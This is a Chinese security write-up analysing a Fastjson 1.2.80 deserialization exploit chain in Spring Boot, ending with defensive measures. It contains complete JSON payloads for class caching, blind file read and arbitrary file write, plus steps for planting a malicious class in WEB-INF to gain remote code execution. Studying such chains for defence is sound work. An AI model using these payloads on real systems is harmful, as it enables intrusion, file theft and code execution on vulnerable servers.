fastjson1.2.80 in Springtboot新链学习记录
字数 1589 2025-08-22 12:22:30

Fastjson 1.2.80 在 Spring Boot 环境下的新利用链分析

漏洞概述

Fastjson 1.2.80 及更早版本存在反序列化漏洞,当应用程序使用用户数据调用 JSON.parseJSON.parseObject 方法且未指定要反序列化的特定类时,攻击者可利用此漏洞实现任意文件读写和远程代码执行(RCE)。

影响范围

  • Fastjson 版本 ≤ 1.2.80
  • 使用 Fastjson 进行 JSON 反序列化且未指定具体类的 Spring Boot 应用

漏洞原理

缓存机制利用

Fastjson 反序列化符合条件的期望类时,会将 setter 参数、public 字段、构造函数参数加入缓存中。攻击者可以利用这一机制将恶意类加载到缓存中。

{
    "@type": "java.lang.Exception",
    "@type": "com.fasterxml.jackson.core.exc.InputCoercionException"
}
  1. TypeUtils.getClassFromMapping() 尝试从缓存中获取 java.lang.Exception
  2. TypeUtils.addBaseClassMappings 初始化时默认添加了一些缓存类,包括 Exception.class
  3. 获取到 class 后恢复字段信息
  4. ParserConfig.getDeserializer 获取对应的反序列化器
  5. 对于异常处理类,反序列化器被设置为 ThrowableDeserializer

任意文件读取

{
    "a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\", \"p\"",
    "b": { "$ref": "$.a.a" },
    "c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonParser\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\", \"in\"",
    "d": { "$ref": "$.c.c" }
}
  1. 利用循环引用将字符串转换为对象并获取对象的值
  2. 通过 UTF8StreamJsonParser 获取 InputStream
  3. 使用 org.apache.commons.io.input.BOMInputStream 逐字节盲读取文件

任意文件写入

{
    "a": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.AutoCloseInputStream",
        "in": {
            "@type": "org.apache.commons.io.input.TeeInputStream",
            "input": {
                "@type": "org.apache.commons.io.input.CharSequenceInputStream",
                "cs": {
                    "@type": "java.lang.String",
                    "${shellcode}",
                    "charset": "iso-8859-1",
                    "bufferSize": ${size}
                },
                "branch": {
                    "@type": "org.apache.commons.io.output.WriterOutputStream",
                    "writer": {
                        "@type": "org.apache.commons.io.output.LockableFileWriter",
                        "file": "${file2write}",
                        "charset": "iso-8859-1",
                        "append": true
                    },
                    "charset": "iso-8859-1",
                    "bufferSize": 1024,
                    "writeImmediately": true
                },
                "closeBranch": true
            }
        }
    },
    "b": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
            "@type": "org.apache.commons.io.input.XmlStreamReader",
            "inputStream": { "$ref": "$.a" },
            "httpContentType": "text/xml",
            "lenient": false,
            "defaultEncoding": "iso-8859-1"
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024
    },
    "c": {}
}
  1. 利用 org.apache.commons.io.input.TeeInputStream.read() 方法写入数据
  2. 通过 CharSequenceInputStreamWriterOutputStream 组合实现文件写入

远程代码执行(RCE)

  1. 类加载机制:Fastjson 反序列化过程中,针对不在黑白名单且缓存中没有的类会通过 TypeUtils.loadClass() 尝试加载
  2. Tomcat 类加载路径
    • 通过 TomcatEmbeddedWebappClassLoader 加载类
    • 委派 WebappClassLoaderBase 加载
    • 最终通过 StandardRoot.getClassLoaderResource 寻找类资源
  3. 类加载路径/WEB-INF/classes//WEB-INF/lib/ 目录下的 .class.jar 文件

利用步骤

  1. 信息收集

    • 读取 /tmp 目录下的文件,找到 docbase 的文件名
    • 确定 Web 应用的部署路径
  2. 文件写入

    • ${docbase}/WEB-INF/classes/ 路径下写入恶意类
    • 或者向 ${docbase}/WEB-INF/lib/ 路径下写入恶意 JAR 包
  3. 触发执行

    • 通过 Fastjson 的 @type 触发类加载
    • 恶意类被加载后执行预设代码

防御措施

  1. 升级 Fastjson:升级到最新安全版本
  2. 输入验证:对用户输入的 JSON 数据进行严格验证
  3. 指定类:在使用 JSON.parseJSON.parseObject 时指定具体的类
  4. 安全配置
    • 配置 Fastjson 的安全白名单
    • 禁用不安全的特性
  5. 权限控制:限制 Web 应用对文件系统的写权限

参考资源

  1. BlackHat USA 21 议题
  2. GitHub 利用代码
  3. Fastjson 1.2.68 反序列化漏洞分析
  4. Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
Fastjson 1.2.80 在 Spring Boot 环境下的新利用链分析 漏洞概述 Fastjson 1.2.80 及更早版本存在反序列化漏洞,当应用程序使用用户数据调用 JSON.parse 或 JSON.parseObject 方法且未指定要反序列化的特定类时,攻击者可利用此漏洞实现任意文件读写和远程代码执行(RCE)。 影响范围 Fastjson 版本 ≤ 1.2.80 使用 Fastjson 进行 JSON 反序列化且未指定具体类的 Spring Boot 应用 漏洞原理 缓存机制利用 Fastjson 反序列化符合条件的期望类时,会将 setter 参数、public 字段、构造函数参数加入缓存中。攻击者可以利用这一机制将恶意类加载到缓存中。 TypeUtils.getClassFromMapping() 尝试从缓存中获取 java.lang.Exception 类 TypeUtils.addBaseClassMappings 初始化时默认添加了一些缓存类,包括 Exception.class 获取到 class 后恢复字段信息 ParserConfig.getDeserializer 获取对应的反序列化器 对于异常处理类,反序列化器被设置为 ThrowableDeserializer 任意文件读取 利用循环引用将字符串转换为对象并获取对象的值 通过 UTF8StreamJsonParser 获取 InputStream 使用 org.apache.commons.io.input.BOMInputStream 逐字节盲读取文件 任意文件写入 利用 org.apache.commons.io.input.TeeInputStream.read() 方法写入数据 通过 CharSequenceInputStream 和 WriterOutputStream 组合实现文件写入 远程代码执行(RCE) 类加载机制 :Fastjson 反序列化过程中,针对不在黑白名单且缓存中没有的类会通过 TypeUtils.loadClass() 尝试加载 Tomcat 类加载路径 : 通过 TomcatEmbeddedWebappClassLoader 加载类 委派 WebappClassLoaderBase 加载 最终通过 StandardRoot.getClassLoaderResource 寻找类资源 类加载路径 : /WEB-INF/classes/ 和 /WEB-INF/lib/ 目录下的 .class 和 .jar 文件 利用步骤 信息收集 : 读取 /tmp 目录下的文件,找到 docbase 的文件名 确定 Web 应用的部署路径 文件写入 : 向 ${docbase}/WEB-INF/classes/ 路径下写入恶意类 或者向 ${docbase}/WEB-INF/lib/ 路径下写入恶意 JAR 包 触发执行 : 通过 Fastjson 的 @type 触发类加载 恶意类被加载后执行预设代码 防御措施 升级 Fastjson :升级到最新安全版本 输入验证 :对用户输入的 JSON 数据进行严格验证 指定类 :在使用 JSON.parse 或 JSON.parseObject 时指定具体的类 安全配置 : 配置 Fastjson 的安全白名单 禁用不安全的特性 权限控制 :限制 Web 应用对文件系统的写权限 参考资源 BlackHat USA 21 议题 GitHub 利用代码 Fastjson 1.2.68 反序列化漏洞分析 Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索